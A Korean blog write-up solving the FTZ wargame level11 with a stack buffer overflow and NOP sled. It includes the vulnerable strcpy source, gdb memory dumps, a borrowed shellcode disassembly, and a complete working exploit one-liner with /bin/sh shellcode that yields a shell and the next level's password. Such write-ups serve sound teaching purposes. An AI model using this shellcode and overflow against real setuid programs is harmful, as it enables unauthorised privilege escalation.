FTZ level11 #2 ( Nop Sled )

c0wb3ll ㅣ 2020. 3. 3. 20:52

FTZ Level11 #2 ( Nop Sled )

문제

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
    char str[256];

    setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    printf( str );
}

FTZ level 11의 소스코드이다. 이 소스코드에서 취약한 점을 발견하여 상위권한( level 12 )을 얻어 비밀번호를 알아내야 한다.


취약점

int main( int argc, char *argv[] )
{
    char str[256];

    #setreuid( 3092, 3092 );
    strcpy( str, argv[1] );
    #printf( str );
}
  • 인자 입력은 argv로 받는다. 또한 길이의 제한은 없다.
  • str 의 크기는 256이다.
  • strcpy() 함수를 통해 argv에서 입력받은 인자를 str로 가져온다. 정해진 최대 바이트는 없다.

따라서 argv에서 인자 입력을 할 때 256byte 이상의 문자열을 입력하면 str의 버퍼 크기를 넘어 메모리를 덮어씌울 수 있다.


공격 시나리오

level11은 취약한 부분이 많아서 다양한 공격을 할 수 있는 레벨이다.

  • 환경 변수를 이용한 공격
  • Nop Sled 기법을 이용한 공격 <- 이번 포스팅
  • RTL 기법을 이용한 공격
  • Chanining RTL 기법을 이용한 공격
  • FSB ( Format String Bug )를 이용한 공격

Nop Sled

우선 어셈블리어로 Nop이란 아무것도 하지 않고 다음 명령어를 실행하는 명령어이다.

따라서 nop이라는 명령어를 메모리에 깔아두고 아무 동작도 하지 않고 쭉 실행시키다가 쉘 코드를 만나 실행시키도록 유도하는 것이다.

0012F5D5   90               NOP # 메모리를 nop명령어("\x90")로 덮어둠
0012F5D6   90               NOP
0012F5D7   90               NOP
0012F5D8   90               NOP
0012F5D9   90               NOP
0012F5DA   90               NOP
0012F5DB   90               NOP
0012F5DC   90               NOP
0012F5DD   90               NOP
0012F5DE   90               NOP
0012F5DF   90               NOP
0012F5E0   90               NOP
0012F5E1   90               NOP
0012F5E2   90               NOP
0012F5E3   90               NOP
0012F5E4   31D2             XOR EDX,EDX # shellcode 시작
0012F5E6   B2 30            MOV DL,30
0012F5E8   64:8B12          MOV EDX,DWORD PTR FS:[EDX]
0012F5EB   8B52 0C          MOV EDX,DWORD PTR DS:[EDX+C]
0012F5EE   8B52 1C          MOV EDX,DWORD PTR DS:[EDX+1C]
0012F5F1   8B42 08          MOV EAX,DWORD PTR DS:[EDX+8]
0012F5F4   8B72 20          MOV ESI,DWORD PTR DS:[EDX+20]
0012F5F7   8B12             MOV EDX,DWORD PTR DS:[EDX]
0012F5F9   807E 0C 33       CMP BYTE PTR DS:[ESI+C],33
0012F5FD  ^75 F2            JNZ SHORT 0012F5F1
0012F5FF   89C7             MOV EDI,EAX
0012F601   0378 3C          ADD EDI,DWORD PTR DS:[EAX+3C]
0012F604   8B57 78          MOV EDX,DWORD PTR DS:[EDI+78]
0012F607   01C2             ADD EDX,EAX
0012F609   8B7A 20          MOV EDI,DWORD PTR DS:[EDX+20]
0012F60C   01C7             ADD EDI,EAX
0012F60E   31ED             XOR EBP,EBP
0012F610   8B34AF           MOV ESI,DWORD PTR DS:[EDI+EBP*4]
0012F613   01C6             ADD ESI,EAX
0012F615   45               INC EBP
0012F616   813E 46617461    CMP DWORD PTR DS:[ESI],61746146
0012F61C  ^75 F2            JNZ SHORT 0012F610
0012F61E   817E 08 45786974 CMP DWORD PTR DS:[ESI+8],74697845
0012F625  ^75 E9            JNZ SHORT 0012F610
0012F627   8B7A 24          MOV EDI,DWORD PTR DS:[EDX+24]
0012F62A   01C7             ADD EDI,EAX
0012F62C   66:8B2C6F        MOV BP,WORD PTR DS:[EDI+EBP*2]
0012F630   8B7A 1C          MOV EDI,DWORD PTR DS:[EDX+1C]
0012F633   01C7             ADD EDI,EAX
0012F635   8B7CAF FC        MOV EDI,DWORD PTR DS:[EDI+EBP*4-4]
0012F639   01C7             ADD EDI,EAX
0012F63B   68 50212101      PUSH 1212150
0012F640   68 6C6F5343      PUSH 43536F6C
0012F645   68 2048656C      PUSH 6C654820
0012F64A   89E1             MOV ECX,ESP
0012F64C   FE49 0B          DEC BYTE PTR DS:[ECX+B]
0012F64F   31C0             XOR EAX,EAX
0012F651   51               PUSH ECX
0012F652   50               PUSH EAX
0012F653   FFD7             CALL EDI #shellcode 실행

대충 디버거로 뜯어보자면 이런 느낌일 것이다. 위 어셈블리 코드는 윈도우 시스템 해킹 가이드 책에 있는 DirectEIP에 익스 코드가 NOP을 끼워둔 익스 코드라서 가져와봤다. ( 앞에 nop이 너무 많아서 좀 잘랐다. )

image

대충 그림으로 표현하면 이런 느낌이지 않을까? ( 그림속 상자 색에는 의미가 없다.... 그냥 구분하는 용도로만 사용한 것 )

풀이

환경 변수 시간에 분석을 했으니 분석하는 부분은 넘어가도록 하겠다.

image

대충 이번시간에는 이런 시나리오라고 생각하면 될 것 같다.

그럼 ebp-264의 주소를 알아보러 가보자.

[level11@ftz tmp]$ gdb attackme 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:    push   0xc14
0x08048481 <main+17>:    push   0xc14
0x08048486 <main+22>:    call   0x804834c <setreuid>
0x0804848b <main+27>:    add    esp,0x10
0x0804848e <main+30>:    sub    esp,0x8
0x08048491 <main+33>:    mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:    add    eax,0x4
0x08048497 <main+39>:    push   DWORD PTR [eax]
0x08048499 <main+41>:    lea    eax,[ebp-264]
0x0804849f <main+47>:    push   eax
0x080484a0 <main+48>:    call   0x804835c <strcpy>
0x080484a5 <main+53>:    add    esp,0x10
0x080484a8 <main+56>:    sub    esp,0xc
0x080484ab <main+59>:    lea    eax,[ebp-264]
0x080484b1 <main+65>:    push   eax
0x080484b2 <main+66>:    call   0x804833c <printf>
0x080484b7 <main+71>:    add    esp,0x10
0x080484ba <main+74>:    leave  
0x080484bb <main+75>:    ret    
0x080484bc <main+76>:    nop    
0x080484bd <main+77>:    nop    
0x080484be <main+78>:    nop    
0x080484bf <main+79>:    nop    
End of assembler dump.
(gdb) b*main
Breakpoint 1 at 0x8048470
(gdb) b*main+65
Breakpoint 2 at 0x80484b1
(gdb) r `python -c "print 'A'*256"`
Starting program: /home/level11/tmp/attackme `python -c "print 'A'*256"`

Breakpoint 1, 0x08048470 in main ()
(gdb) x/100x $ebp-264
0xbfffe580:    0x4200b894    0x400160b0    0x00000000    0x00000000
0xbfffe590:    0x00000000    0x00000000    0x00000000    0x4000807f
0xbfffe5a0:    0x4001582c    0x00001f1f    0xbfffe5d0    0xbfffe5fc
0xbfffe5b0:    0x4000be03    0x4001624c    0x00000000    0x0177ff8e
0xbfffe5c0:    0x4000807f    0x4001582c    0x0000005b    0x40015a38
0xbfffe5d0:    0xbfffe620    0x4000be03    0x40015bd4    0x40016380
0xbfffe5e0:    0x00000001    0x00000000    0x4200dba3    0x420069e4
0xbfffe5f0:    0x42130a14    0xbffffab3    0xbfffe6b4    0xbfffe634
0xbfffe600:    0x4000bcc0    0x08049620    0x00000001    0x0804824b
0xbfffe610:    0x4210fd3c    0x42130a14    0xbfffe638    0x4210fdf6
0xbfffe620:    0x08049538    0x0804963c    0x00000000    0x00000000
0xbfffe630:    0x4210fdc0    0x42130a14    0xbfffe658    0x08048451
0xbfffe640:    0x08049538    0x0804963c    0x4001582c    0x0804839e
0xbfffe650:    0x080482e4    0x42130a14    0xbfffe668    0x080482fa
0xbfffe660:    0x4200af84    0x42130a14    0xbfffe688    0x42015574
0xbfffe670:    0x00000002    0xbfffe6b4    0xbfffe6c0    0x4001582c
0xbfffe680:    0x00000002    0x08048370    0x00000000    0x08048391
0xbfffe690:    0x08048470    0x00000002    0xbfffe6b4    0x080482e4
0xbfffe6a0:    0x08048500    0x4000c660    0xbfffe6ac    0x00000000
0xbfffe6b0:    0x00000002    0xbffffab3    0xbfffface    0x00000000
0xbfffe6c0:    0xbffffbcf    0xbffffbed    0xbffffc21    0xbffffc31
0xbfffe6d0:    0xbffffc3c    0xbffffc4a    0xbffffc6c    0xbffffc7f
0xbfffe6e0:    0xbffffc8c    0xbffffe4f    0xbffffe92    0xbffffeaf
0xbfffe6f0:    0xbffffec5    0xbffffeda    0xbffffeeb    0xbffffefc
0xbfffe700:    0xbfffff0f    0xbfffff17    0xbfffff36    0xbfffff46
(gdb) cont 
Continuing.

Breakpoint 2, 0x080484b1 in main ()
(gdb) x/100x $ebp-264
0xbfffe560:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe570:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe580:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe590:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe600:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe610:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe620:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe630:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe640:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe650:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe660:    0x4200af00    0x42130a14    0xbfffe688    0x42015574
0xbfffe670:    0x00000002    0xbfffe6b4    0xbfffe6c0    0x4001582c
0xbfffe680:    0x00000002    0x08048370    0x00000000    0x08048391
0xbfffe690:    0x08048470    0x00000002    0xbfffe6b4    0x080482e4
0xbfffe6a0:    0x08048500    0x4000c660    0xbfffe6ac    0x00000000
0xbfffe6b0:    0x00000002    0xbffffab3    0xbfffface    0x00000000
0xbfffe6c0:    0xbffffbcf    0xbffffbed    0xbffffc21    0xbffffc31
0xbfffe6d0:    0xbffffc3c    0xbffffc4a    0xbffffc6c    0xbffffc7f
0xbfffe6e0:    0xbffffc8c    0xbffffe4f    0xbffffe92    0xbffffeaf
(gdb) 

main에서 bp를 걸어주고 strcpy를 거친 후 bp를 한번 더 걸고 ebp-264의 위치를 찾으면

다음과 같이 0xbfffe560에 A가 채워지는 것을 알 수 있다.

그럼 이제 익스 코드를 짜보자

참고로 nop은 shellcode의 길이를 빼준 만큼 넣어줘야 한다.

<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

쉘 코드는 저번에 사용한 것을 그대로 사용할 것이며 264에서 shellcode의 길이를 뺀 값은 227byte이다.

[level11@ftz tmp]$ ./attackme `python -c 'print "A"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xe5\xff\xbf"'`
Segmentation fault

str 버퍼의 크기를 조져서 어떻게 해보려 했지만 실패했다. 실패할 것은 알고 있었으나 왜? 왜 안돼?라는 질문을 던지며 계속 이유를 찾기 위해 삽질을 했다. 다른 사람의 블로그에 분석한 글이 쓰여 있었으나 이해하지 못하고 결국... 삽질한 뒤에 글을 이해할 수 있었다(ㅠㅠ).

str의 버퍼를 아무리 조져봤자 str은 복사를 한 뒤 링크를 끊는 건지 데이터를 덮는 건지 아무튼 ebp-264에 접근할 수 없게 되어 쉘 코드를 진행할 수 없었다.

Starting program: /home/level11/tmp/attackme `python -c 'print "A"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x60\xe0\xff\xbf"'`

Breakpoint 1, 0x08048470 in main ()
(gdb) continue
Continuing.

Breakpoint 2, 0x080484b7 in main ()
(gdb) x/100x $ebp-264
0xbfffe4d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe4e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe4f0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe500:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe510:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe520:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe530:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe540:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe550:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe560:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe570:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe580:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe590:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbfffe5b0:    0x31414141    0xcd31b0c0    0x89c38980    0xb0c031c1
0xbfffe5c0:    0x3180cd46    0x2f6850c0    0x6868732f    0x6e69622f
0xbfffe5d0:    0x5350e389    0xd231e189    0x80cd0bb0    0xbfffe060
0xbfffe5e0:    0x00000000    0xbfffe624    0xbfffe630    0x4001582c
0xbfffe5f0:    0x00000002    0x08048370    0x00000000    0x08048391
0xbfffe600:    0x08048470    0x00000002    0xbfffe624    0x080482e4
0xbfffe610:    0x08048500    0x4000c660    0xbfffe61c    0x00000000
0xbfffe620:    0x00000002    0xbffffaa3    0xbffffabe    0x00000000
0xbfffe630:    0xbffffbcf    0xbffffbed    0xbffffc21    0xbffffc31
0xbfffe640:    0xbffffc3c    0xbffffc4a    0xbffffc6c    0xbffffc7f
0xbfffe650:    0xbffffc8c    0xbffffe4f    0xbffffe92    0xbffffeaf
(gdb) continue
Continuing.

Breakpoint 3, 0x080484bb in main ()
(gdb) x/100x $ebp-264
0x80cd0aa8:    Cannot access memory at address 0x80cd0aa8
(gdb) x/100x $ebp-264
0x80cd0aa8:    Cannot access memory at address 0x80cd0aa8
(gdb) x/100x $ebp-264
0x80cd0aa8:    Cannot access memory at address 0x80cd0aa8

위 코드를 보면 알 수 있듯이 접근을 할 수 없었다.

그럼 남들은 어떻게 풀었냐?

str에 접근한 것이 아닌 argv [1] 인자에서 입력받았을 때 사용한 버퍼에 접근하여 공격을 성공시켰다.

따라서 str에 접근하는 것이 아닌 입력받을 때 argv의 버퍼가 어디인지를 알아내야 할 것 같다.

[level11@ftz tmp]$ gdb attackme 
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) b*main    
Breakpoint 1 at 0x8048470
(gdb) r `python -c "print 'A'*256"`
Starting program: /home/level11/tmp/attackme `python -c "print 'A'*256"`

Breakpoint 1, 0x08048470 in main ()
(gdb) x/2000x $esp
0xbfffdcec:    0x42015574    0x00000002    0xbfffdd34    0xbfffdd40
0xbfffdcfc:    0x4001582c    0x00000002    0x08048370    0x00000000
0xbfffdd0c:    0x08048391    0x08048470    0x00000002    0xbfffdd34
0xbfffdd1c:    0x080482e4    0x08048500    0x4000c660    0xbfffdd2c
0xbfffdd2c:    0x00000000    0x00000002    0xbffffab3    0xbfffface
0xbfffdd3c:    0x00000000    0xbffffbcf    0xbffffbed    0xbffffc21
0xbfffdd4c:    0xbffffc31    0xbffffc3c    0xbffffc4a    0xbffffc6c
0xbfffdd5c:    0xbffffc7f    0xbffffc8c    0xbffffe4f    0xbffffe92
--- 중략 ---
---Type <return> to continue, or q <return> to quit---
0xbffffa4c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa5c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa6c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa7c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa8c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffa9c:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffffaac:    0x36690000    0x2f003638    0x656d6f68    0x76656c2f
0xbffffabc:    0x31316c65    0x706d742f    0x7474612f    0x6d6b6361
0xbffffacc:    0x41410065    0x41414141    0x41414141    0x41414141
0xbffffadc:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffaec:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffafc:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb0c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb1c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb2c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb3c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb4c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb5c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb6c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb7c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb8c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffb9c:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbac:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbbc:    0x41414141    0x41414141    0x41414141    0x41414141

main에 bp를 건 뒤 A를 넣어 실행시키고 esp에서부터 쭉 내려오면 다음과 같이 A가 들어있는 위치를 찾을 수 있다. 이 위치가 argv에서 입력받은 버퍼의 위치이니 이 곳에 주소로 점프하여 쉘 코드를 실행시키면 될 것 같다. 나의 경우에는 0 xbfffface로 점프를 시키면 될 것 같다.

[level11@ftz level11]$ ./attackme `python -c "print '\x90'*227 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\xce\xfa\xff\xbf'"`
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "비밀번호패스워드".

sh-2.05b$ 

다음은 RTL이려나...?